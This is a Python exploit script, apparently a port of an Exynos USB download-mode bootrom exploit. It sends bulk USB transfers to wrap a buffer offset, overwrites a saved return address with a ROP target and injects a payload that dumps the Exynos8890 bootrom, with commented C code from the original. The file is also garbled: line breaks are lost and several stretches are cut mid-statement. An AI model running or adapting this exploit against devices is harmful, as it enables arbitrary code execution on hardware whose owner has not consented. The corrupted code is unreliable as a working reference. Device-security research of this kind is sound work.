import usb.core import usb.util import struct, sys, usb1, libusb1, ctypes # from ghidra_assistant.utils.utils import * def p32(x): return struct.pack("= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") rop_chain = (b"\x00" * 0x110) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) # p_offset = (TARGET_OFFSETS[self.target][1] - current_offset) # rop_chain = rop_chain[:p_offset] + (p64(TARGET_OFFSETS[self.target][0])) # rop_chain = p64(TARGET_OFFSETS[self.target][0]) * 32 # Should transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) # assert transferred.value == len(rop_chain), "Error sending ROP chain" buf = ctypes.c_buffer(b"", 0x200000) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 1000) padding_size = TARGET_OFFSETS[self.target][1] - TARGET_OFFSETS[self.target][0] padding_size -= len(payload) # Construct payload, we can only overflow with 1 transfer. dl_buf_current = DL_BUFFER_START if len(payload) > MAX_PAYLOAD_SIZE: print("payload too big!") return payload = payload + ((MAX_PAYLOAD_SIZE - len(payload)) * b"\xcc") payload = struct.pack(" 0): block_cnt -= 1 padding_size = BLOCK_SIZE ram_size = padding_size + 4 + 2 # # Reconstruct stack ram = b"\xcc" * ram_size ram = ram[:padding_size] + p32(TARGET_OFFSETS[self.target][0]) + ram[padding_size + 4:] # *(uint32_t*)&ram[padding_size] = targets[target_id][XFER_BUFFER];//overwriting return address in stack :] payload_size = len(payload) + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size pass # payload->size = original_payload_size + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size; # dprint("malicious payload->size=0x%x\n", payload->size); # uint32_t min_size_to_overflw = (uint32_t)0 - targets[target_id][XFER_BUFFER]; # dprint("min_size_to_overflw = 0x%x\n", min_size_to_overflw); # if(min_size_to_overflw > payload->size) # printf("ERROR : min_size_to_overflw > payload->size\n"); # // step 3 : usb communication # printf("- exploit: sending payload...\n"); # rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, (uint8_t*)payload, original_payload_size, &transferred, 0); # if(rc) { # printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc); # fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc)); # return rc; # } if __name__ == "__main__": # wait_for_device() exynos = ExynosDevice() path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin" # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin" exynos.exploit(open(path, "rb").read()) pass